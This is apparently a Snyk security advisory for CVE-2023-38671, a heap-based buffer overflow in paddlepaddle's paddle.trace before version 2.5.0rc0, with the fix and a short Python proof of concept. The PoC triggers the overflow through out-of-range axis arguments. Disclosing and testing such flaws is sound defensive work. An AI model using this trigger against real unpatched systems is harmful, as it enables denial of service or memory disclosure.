Heap-based Buffer Overflow Affecting paddlepaddle package, versions [,2.5.0rc0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.19% (58th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-PADDLEPADDLE-5807395
- published 26 Jul 2023
- disclosed 26 Jul 2023
- credit Tong Liu
Introduced: 26 Jul 2023
CVE-2023-38671 Open this link in a new tabHow to fix?
Upgrade paddlepaddle to version 2.5.0rc0 or higher.
Overview
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in paddle.trace, which can lead to denial of service, information disclosure, or other impacts.
PoC
import paddle
import numpy as np
from paddle import trace
x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
trace(x, offset, axis1, axis2)
References
CVSS Scores
version 3.1